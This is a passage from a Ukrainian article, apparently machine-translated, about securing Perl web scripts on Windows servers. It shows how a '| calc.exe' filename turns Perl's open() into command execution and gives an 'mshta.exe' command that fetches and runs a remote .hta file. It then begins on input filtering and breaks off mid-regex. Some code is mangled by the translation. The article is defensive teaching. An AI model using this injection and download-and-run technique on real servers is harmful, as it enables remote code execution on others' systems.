Защищаем Perl: шунт в мозок, або звіряча нейрохірургія b> b> p>
Мова програмування Perl,
будучи встановленим на Web-сервер, відрізняється високими вимогами до
уважності розробника і кваліфікації системного адміністратора, при
найменшої помилку людини залишаючи систему "відкритою і доступною" для
зломщиків усього світу. У статті розглянута можливість понизити загрозу,
встановлюючи свої власні захисні механізми (на прикладі
"хірургічного відрізання" і перехоплення функцій читання, записи і
виконання файлів в системі Windows). p>
Якщо ви програмуєте (або
збираєтесь програмувати) Internet-додатки на мові Perl, то напевно
стикалися з інформацією, яка описує вразливості цієї мови для хакерських
атак. Найпростіший скрипт, наведений в будь-якому підручнику по мові Perl, на перевірку
виявляється "широко відкритими воротами" для хакерів, як
досвідчених, так і початківців. Наприклад, фрагмент коду, який просто виводить
вміст зазначеного файлу p>
open (f, $ filename); p>
while () p>
( p>
print; p>
) p>
насправді може виконувати і
інші дії. Подайте на його вхід рядок "| calc.exe", і ви
запустіть на виконання стандартний калькулятор. У запуску на віддаленому сервері
стандартних програм (таких як calc.exe або notepad.exe) мало сенсу, якщо не
знати про ідеальну відмичку хакера - утиліту mshta.exe. Вона входить до
стандартне постачання Windows і дозволяє легко і невимушено закачувати в
атакується систему і виконувати в ній довільний код. p>
Наприклад, виконання в системі
команди: p>
mshta.exe http://www.malware.com/foobar.hta p>
призведе до завантаження на
комп'ютер файлу foobar.hta і виконання його як скрипта VBS. Цей приклад
створює і запускає нешкідливе (за запевненнями організаторів сайту malware.com)
додаток для MS-DOS, що показує стандартний алгоритм генерації полум'я.
Природно, таким же способом можна закачати і виконати в системі
довільний файл, навіть якщо його там ще немає. p>
Кому це
потрібно? h2>
Мені хотілося б розвіяти
упередження деяких системних адміністраторів, що злом саме їх сервера
нікому не потрібний. Залізний аргумент - посилання на Невловимого Джо ( "не така
вже ми важна птиця, щоб нас ламати "). Насправді, злом будь-якого
(довільного) сервера може принести хакеру користь, оскільки відкриває йому
нові чудові можливості: p>
Надіслати з уразливого сервера
пару-трійку гігабайт поштового спаму. p>
Влаштувати на вразливому сервер
"варезятнік" для неліцензійного софту, музики та відео. p>
Виконати складний і цікавий
математичний розрахунок (зазвичай прораховують криптографію, щоб підібрати чийсь
ключ, залучаючи до цього процесу - щоб справа йшла швидше - безліч зламаних
машин). p>
Зламати або
"заглушити" сміттєвими запитами (атака "відмова в
обслуговуванні ") більш важливий сервер (наприклад, сервер якого-небудь банку
або державної установи). p>
Таким чином, вразливі сервери,
незалежно від їх важливості, становлять небезпеку не меншу, ніж ті люди,
які вміють використовувати ці сервери за їх прямим призначенням. :-) p>
Чому Perl
вразливий? h2>
Раціональне пояснення, навіщо
функція open в Perl відпрацьовує символ конвеєра | як команду запустити
програму на виконання, дати складно: Perl взагалі досить ірраціональний (зате
гнучкий і компактний) мова. :-) Автор мови Perl Ларрі Уолл жартома
розшифровує його назву як Patalogically Eclectic Rubbish Lister
(Паталогічна Еклектичний Сміттєвий Лістер) - ми можемо лише побажати, щоб
наступні його версії розвивалися в напрямі більшої безпеки,
однозначності і безпомилковості коду - таких необхідних якостей для
загальнодоступних Internet-додатків. Безумовно, "патологічность",
"еклектичність" і "сміттєвих" - це негативні риси, з
якими Ларрі Уолл повинен боротися. :-) p>
Фільтрація
користувальницької введення h2>
У статтях про безпечний
програмування на мові Perl можна зустріти рекомендації фільтрувати
призначений для користувача введення: зокрема, видаляти з отриманих ззовні рядків символи |
та інші знаки, що мають в Perl спеціальне значення. Наприклад, наступна
фільтрація введення "знезаразить" отримане ззовні ім'я файлу від
спеціальних та небезпечних символів. p>
if ($ filename =~/[|-&./